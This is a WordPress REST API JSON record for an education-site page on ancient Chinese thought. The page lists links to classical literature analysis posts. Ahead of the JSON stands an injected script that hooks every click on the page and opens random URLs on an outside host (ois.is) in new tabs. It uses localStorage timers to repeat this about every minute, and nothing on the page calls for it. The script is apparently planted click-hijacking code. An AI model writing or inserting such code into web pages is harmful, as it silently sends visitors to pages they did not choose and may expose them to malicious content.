<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1376,"date":"2016-03-21T10:40:54","date_gmt":"2016-03-21T02:40:54","guid":{"rendered":"http:\/\/edu.secda.info\/yujuwu\/?page_id=1376"},"modified":"2016-03-21T14:42:33","modified_gmt":"2016-03-21T06:42:33","slug":"%e5%8f%a4%e4%bb%a3%e6%80%9d%e7%b6%ad","status":"publish","type":"page","link":"https:\/\/edu.secda.info\/yujuwu\/?page_id=1376","title":{"rendered":"\u53e4\u4ee3\u601d\u7dad"},"content":{"rendered":"<p><span style=\"font-size: 22px; color: #000000; font-family: \u6a19\u6977\u9ad4;\"><span style=\"font-size: 12px;\">\u25cf <\/span><a title=\"\u95e1\u8ff0\u5176\u610f\uff1a\u300c\u5929\u4e0b\u4e4b\u4e8b\uff0c\u5e38\u767c\u65bc\u81f3\u5fae\uff0c\u800c\u7d42\u70ba\u5927\u60a3\u3002\u300d\" href=\"http:\/\/edu.secda.info\/yujuwu\/?p=1284\">\u95e1\u8ff0\u5176\u610f\uff1a\u300c\u5929\u4e0b\u4e4b\u4e8b\uff0c\u5e38\u767c\u65bc\u81f3\u5fae\uff0c\u800c\u7d42\u70ba\u5927\u60a3\u3002\u300d<\/a><\/span><\/p>\n<p><span style=\"font-size: 22px; color: #000000; font-family: \u6a19\u6977\u9ad4;\"><span style=\"font-size: 12px;\">\u25cf <\/span><a title=\"\u67f3\u5b50\u539a\u5893\u8a8c\u9298\u4e3b\u65e8\u7df4\u7fd2\" href=\"http:\/\/edu.secda.info\/yujuwu\/?p=1282\">\u67f3\u5b50\u539a\u5893\u8a8c\u9298\u4e3b\u65e8\u7df4\u7fd2<\/a><\/span><\/p>\n<p><span style=\"font-size: 22px; color: #000000; font-family: \u6a19\u6977\u9ad4;\"><span style=\"font-size: 12px;\">\u25cf <\/span><a title=\"\u6587\u7ae0\u5206\u6790-\u8a13\u5109\u793a\u5eb7\" href=\"http:\/\/edu.secda.info\/yujuwu\/?p=1280\">\u6587\u7ae0\u5206\u6790-\u8a13\u5109\u793a\u5eb7<\/a><\/span><\/p>\n<p><span style=\"font-size: 22px; color: #000000; font-family: \u6a19\u6977\u9ad4;\"><span style=\"font-size: 12px;\">\u25cf <\/span><a title=\"\u53e4\u8a69\u5206\u6790\" href=\"http:\/\/edu.secda.info\/yujuwu\/?p=1278\">\u53e4\u8a69\u5206\u6790<\/a><\/span><\/p>\n<p><span style=\"font-size: 22px; color: #000000; font-family: \u6a19\u6977\u9ad4;\"><span style=\"font-size: 12px;\">\u25cf <\/span><a title=\"\u6587\u7ae0\u89e3\u8b80-\u8607\u8efe-\u674e\u767d\u8a69\" href=\"http:\/\/edu.secda.info\/yujuwu\/?p=1276\">\u6587\u7ae0\u89e3\u8b80-\u8607\u8efe-\u674e\u767d\u8a69<\/a><\/span><\/p>\n<p><span style=\"font-size: 22px; color: #000000; font-family: \u6a19\u6977\u9ad4;\"><span style=\"font-size: 12px;\">\u25cf <\/span><a title=\"\u6587\u7ae0\u5206\u6790\u8207\u95e1\u767c-\u66f9\u4e15\u300a\u5178\u8ad6\uff0e\u8ad6\u6587\u300b\" href=\"http:\/\/edu.secda.info\/yujuwu\/?p=1274\">\u6587\u7ae0\u5206\u6790\u8207\u95e1\u767c-\u66f9\u4e15\u300a\u5178\u8ad6\uff0e\u8ad6\u6587\u300b<\/a><\/span><\/p>\n<p><span style=\"font-size: 22px; color: #000000; font-family: \u6a19\u6977\u9ad4;\"><span style=\"font-size: 12px;\">\u25cf <\/span><a title=\"\u6587\u7ae0\u5206\u6790-\u59cb\u5f97\u897f\u5c71\u5bb4\u904a\u8a18\" href=\"http:\/\/edu.secda.info\/yujuwu\/?p=1272\">\u6587\u7ae0\u5206\u6790-\u59cb\u5f97\u897f\u5c71\u5bb4\u904a\u8a18<\/a><\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u25cf \u95e1\u8ff0\u5176\u610f\uff1a\u300c\u5929\u4e0b\u4e4b\u4e8b\uff0c\u5e38\u767c\u65bc\u81f3\u5fae\uff0c\u800c\u7d42\u70ba\u5927\u60a3\u3002\u300d \u25cf \u67f3\u5b50\u539a\u5893\u8a8c\u9298\u4e3b\u65e8\u7df4\u7fd2 \u25cf \u6587\u7ae0\u5206\u6790-\u8a13\u5109\u793a\u5eb7 \u25cf \u53e4 [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":0,"parent":933,"menu_order":0,"comment_status":"closed","ping_status":"open","template":"","meta":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/pages\/1376"}],"collection":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1376"}],"version-history":[{"count":3,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/pages\/1376\/revisions"}],"predecessor-version":[{"id":1440,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/pages\/1376\/revisions\/1440"}],"up":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/pages\/933"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1376"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}